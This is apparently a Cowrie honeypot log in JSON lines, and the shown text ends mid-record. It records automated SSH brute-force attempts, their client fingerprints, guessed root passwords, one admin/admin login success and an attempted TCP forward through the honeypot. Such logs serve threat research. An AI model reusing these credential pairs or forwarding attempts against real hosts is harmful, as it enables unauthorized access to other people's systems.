{"eventid":"cowrie.login.failed","username":"root","password":"fdgfgytt","message":"login attempt [root/fdgfgytt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:25:00.851883Z","src_ip":"103.173.227.57","session":"e4c35d09295b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:25:02.449042Z","src_ip":"103.173.227.57","session":"e4c35d09295b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51026,"dst_ip":"159.203.135.109","dst_port":22,"session":"5056d1a67ea0","protocol":"ssh","message":"New connection: 80.94.92.186:51026 (159.203.135.109:22) [session: 5056d1a67ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:27:11.308750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:27:11.444830Z","src_ip":"80.94.92.186","session":"5056d1a67ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:27:11.448965Z","src_ip":"80.94.92.186","session":"5056d1a67ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:27:12.390297Z","src_ip":"80.94.92.186","session":"5056d1a67ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:27:13.596700Z","src_ip":"80.94.92.186","session":"5056d1a67ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":33452,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd393b1108fb","protocol":"ssh","message":"New connection: 103.98.149.87:33452 (159.203.135.109:22) [session: cd393b1108fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:15.381912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:15.387473Z","src_ip":"103.98.149.87","session":"cd393b1108fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:15.655722Z","src_ip":"103.98.149.87","session":"cd393b1108fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svetik","message":"login attempt [root/svetik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:17.329994Z","src_ip":"103.98.149.87","session":"cd393b1108fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36488,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcbcfe775397","protocol":"ssh","message":"New connection: 103.195.236.96:36488 (159.203.135.109:22) [session: fcbcfe775397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:17.442166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:17.451126Z","src_ip":"103.195.236.96","session":"fcbcfe775397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":57746,"dst_ip":"10.17.0.5","dst_port":22,"session":"3470db557a9d","protocol":"ssh","message":"New connection: 185.236.22.41:57746 (10.17.0.5:22) [session: 3470db557a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:17.563106Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:17.692987Z","src_ip":"103.195.236.96","session":"fcbcfe775397","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:17.730928Z","src_ip":"185.236.22.41","session":"3470db557a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:17.734966Z","src_ip":"185.236.22.41","session":"3470db557a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1977","message":"login attempt [root/1977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:18.547391Z","src_ip":"103.195.236.96","session":"fcbcfe775397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:18.593337Z","src_ip":"103.98.149.87","session":"cd393b1108fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2004","message":"login attempt [root/artem2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:18.713680Z","src_ip":"185.236.22.41","session":"3470db557a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:19.793522Z","src_ip":"103.195.236.96","session":"fcbcfe775397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:19.866996Z","src_ip":"185.236.22.41","session":"3470db557a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53318,"dst_ip":"10.17.0.5","dst_port":22,"session":"50611d07252f","protocol":"ssh","message":"New connection: 103.77.242.62:53318 (10.17.0.5:22) [session: 50611d07252f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:20.080098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:20.084884Z","src_ip":"103.77.242.62","session":"50611d07252f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:20.326101Z","src_ip":"103.77.242.62","session":"50611d07252f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1323456","message":"login attempt [root/1323456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:21.049958Z","src_ip":"103.77.242.62","session":"50611d07252f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:22.294133Z","src_ip":"103.77.242.62","session":"50611d07252f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5932,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd2bea3b99e8","protocol":"ssh","message":"New connection: 87.251.64.176:5932 (10.17.0.5:22) [session: dd2bea3b99e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:24.033630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:24.038943Z","src_ip":"87.251.64.176","session":"dd2bea3b99e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:24.139204Z","src_ip":"87.251.64.176","session":"dd2bea3b99e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:24.429631Z","src_ip":"87.251.64.176","session":"dd2bea3b99e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:24.534720Z","session":"dd2bea3b99e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:24.634396Z","src_ip":"87.251.64.176","session":"dd2bea3b99e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:28:24.734341Z","src_ip":"87.251.64.176","session":"dd2bea3b99e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.247.196","src_port":47490,"dst_ip":"159.203.135.109","dst_port":23,"session":"35fa1d0e3d00","protocol":"telnet","message":"New connection: 184.105.247.196:47490 (159.203.135.109:23) [session: 35fa1d0e3d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:11.690572Z"}
{"eventid":"cowrie.session.closed","duration":2.085359573364258,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:13.775823Z","src_ip":"184.105.247.196","session":"35fa1d0e3d00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":55486,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4ef413af8fa","protocol":"ssh","message":"New connection: 103.75.183.219:55486 (159.203.135.109:22) [session: b4ef413af8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:21.441976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:21.447297Z","src_ip":"103.75.183.219","session":"b4ef413af8fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:21.693119Z","src_ip":"103.75.183.219","session":"b4ef413af8fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert1234","message":"login attempt [root/qwert1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:22.428486Z","src_ip":"103.75.183.219","session":"b4ef413af8fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:23.677326Z","src_ip":"103.75.183.219","session":"b4ef413af8fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51130,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bd4115996ba","protocol":"ssh","message":"New connection: 109.237.96.109:51130 (159.203.135.109:22) [session: 6bd4115996ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:31.227890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:31.235723Z","src_ip":"109.237.96.109","session":"6bd4115996ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","a